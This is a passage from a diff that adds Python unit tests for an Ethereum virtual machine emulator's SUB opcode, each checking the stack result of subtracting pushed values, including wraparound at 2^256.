+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639919L])
+
+    def test_SUB_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920L])
+
+    def test_SUB_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639921L])
+
+    def test_SUB_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819936L])
+
+    def test_SUB_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301247L])
+
+    def test_SUB_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SUB_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SUB_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_SUB_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718896L])
+
+    def test_SUB_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639903L])
+
+    def test_SUB_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639904L])
+
+    def test_SUB_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639905L])
+
+    def test_SUB_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819920L])
+
+    def test_SUB_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301231L])
+
+    def test_SUB_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920L])
+
+    def test_SUB_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SUB_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SUB_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718880L])
+
+    def test_SUB_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639887L])
+
+    def test_SUB_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639888L])
+
+    def test_SUB_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639889L])
+
+    def test_SUB_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819904L])
+
+    def test_SUB_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301215L])
+
+    def test_SUB_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639904L])
+
+    def test_SUB_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920L])
+
+    def test_SUB_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SUB_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718864L])
+
+    def test_SUB_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921023L])
+
+    def test_SUB_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921024L])
+
+    def test_SUB_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921025L])
+
+    def test_SUB_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504337864336479446903994433332925807491374665101040L])
+
+    def test_SUB_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281515407530259141591975418939430064987665385582351L])
+
+    def test_SUB_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921040L])
+
+    def test_SUB_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
